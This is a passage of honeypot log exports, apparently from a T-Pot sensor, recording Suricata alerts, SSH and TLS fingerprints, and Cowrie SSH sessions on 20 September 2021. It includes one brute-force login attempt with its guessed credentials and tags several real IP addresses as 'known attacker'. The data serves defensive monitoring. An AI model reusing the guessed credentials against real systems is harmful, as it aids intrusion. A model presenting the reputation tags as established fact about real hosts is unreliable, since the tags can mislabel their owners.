29074	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:22:58.000655+03	2021-09-20 14:30:03.663524+03	{"_id": "MgbyAnwBvYTbRNuEHzMs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:57.665056+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 1073679258953184, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 28940, "timestamp": "2021-09-20T11:22:58.000655Z", "@timestamp": "2021-09-20T11:22:58.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29075	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:14.384442+03	2021-09-20 14:30:03.664525+03	{"_id": "NAbyAnwBvYTbRNuEIDNi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58948, "timestamp": "2021-09-20T11:23:14.384442", "@timestamp": "2021-09-20T11:23:14.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29076	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:14.39403+03	2021-09-20 14:30:03.665524+03	{"_id": "NwbyAnwBvYTbRNuEITNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:14.394030Z", "@timestamp": "2021-09-20T11:23:14.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29077	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:23:06.973039+03	2021-09-20 14:30:03.668523+03	{"_id": "JAbyAnwBvYTbRNuEAzPQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:23:06.197342+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 821, "bytes_toserver": 1270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 90005051146974, "payload": "AAADzAYUKleMEKPs82TjsIP5sVPLcQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36547, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:23:06.973039Z", "@timestamp": "2021-09-20T11:23:06.973Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......*W.....d.....S.q...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29078	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:06.826683+03	2021-09-20 14:30:03.669523+03	{"_id": "JgbyAnwBvYTbRNuEBTMG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36547, "timestamp": "2021-09-20T11:23:06.826683", "@timestamp": "2021-09-20T11:23:06.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29090	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:23:02.935417+03	2021-09-20 14:30:03.685524+03	{"_id": "GQbxAnwBvYTbRNuE9TNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35138, "timestamp": "2021-09-20T11:23:02.935417", "@timestamp": "2021-09-20T11:23:02.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29079	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:23:06.973665+03	2021-09-20 14:30:03.670524+03	{"_id": "IQbyAnwBvYTbRNuEAjMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a5e83efc23d2", "@version": "1", "timestamp": "2021-09-20T11:23:06.973665Z", "@timestamp": "2021-09-20T11:23:06.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29080	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:23:06.89481+03	2021-09-20 14:30:03.672523+03	{"_id": "JQbyAnwBvYTbRNuEAzPQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 90005051146974, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36547, "dest_port": 22, "timestamp": "2021-09-20T11:23:06.894810Z", "@timestamp": "2021-09-20T11:23:06.894Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29081	87.112.251.105	109.199.241.180	Fatt	2021-09-20 14:23:06.973039+03	2021-09-20 14:30:03.673523+03	{"_id": "JwbyAnwBvYTbRNuEBTMG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36547, "dest_port": 22, "timestamp": "2021-09-20T11:23:06.973039", "@timestamp": "2021-09-20T11:23:06.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29082	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:23:07.563362+03	2021-09-20 14:30:03.675524+03	{"_id": "KAbyAnwBvYTbRNuEBTP7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/1q2w3e] failed", "session": "a5e83efc23d2", "@version": "1", "password": "1q2w3e", "username": "ftpuser", "timestamp": "2021-09-20T11:23:07.563362Z", "@timestamp": "2021-09-20T11:23:07.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29083	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:23:08.713706+03	2021-09-20 14:30:03.676524+03	{"_id": "KgbyAnwBvYTbRNuECTPk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a5e83efc23d2", "@version": "1", "duration": 1.8887946605682373, "timestamp": "2021-09-20T11:23:08.713706Z", "@timestamp": "2021-09-20T11:23:08.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29084	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:23:14.384265+03	2021-09-20 14:30:03.677524+03	{"_id": "MwbyAnwBvYTbRNuEHzMs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1314246824649805, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58948, "dest_port": 22, "timestamp": "2021-09-20T11:23:14.384265Z", "@timestamp": "2021-09-20T11:23:14.384Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29085	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:23:14.39341+03	2021-09-20 14:30:03.679525+03	{"_id": "NQbyAnwBvYTbRNuEIDNi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 